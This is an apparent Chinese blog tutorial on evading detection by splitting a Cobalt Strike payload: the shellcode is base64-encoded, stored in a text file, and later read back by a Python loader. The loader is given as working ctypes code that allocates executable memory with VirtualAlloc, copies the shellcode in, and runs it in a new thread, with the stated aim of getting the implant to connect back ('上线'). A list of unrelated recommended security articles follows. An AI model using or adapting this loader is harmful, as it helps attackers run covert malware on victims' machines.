无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
迪康Defender15 小时前
PHP 高危漏洞应急分析:从风险原理到端点侧纵深防护
运维·开发语言·安全·自动化·php·运维开发·远程工作
安教安全员通关宝16 小时前
2026年四川安全员C2证考试题库+答案+解析
安全
躺柒16 小时前
读数据安全架构设计与实践16安全架构案例(上)
安全·php·零信任·安全架构·防火墙·无边界
武天旭16 小时前
AI安全--AI大模型的虚假信息识别与多模态过滤
人工智能·安全
赛博守夜人17 小时前
AI安全攻防与治理之十:模型输出中的敏感信息从哪里来,记忆、检索、日志与上下文泄露的区别
人工智能·安全
消费电子测评研究中心17 小时前
2026年智能门锁安全技术研究报告:活体检测、防撬报警与加密技术解析
安全
jimmyleeee18 小时前
Agent安全之四:Agentic Supply Chain Vulnerabilities(ASI04)---当 Agent 信任了不该信任的运行时依赖
人工智能·安全
linfen152018 小时前
X 语言设计全景:原生性能、资源安全、AI 协作与未来软件的无限想象
人工智能·安全
QZ1665609515918 小时前
高效・AI 优化・多模态:知镜-数据安全检测工具政务数据安全管理方案
网络·安全·网络安全
五萝卜18 小时前
应急响应 WP
安全·应急响应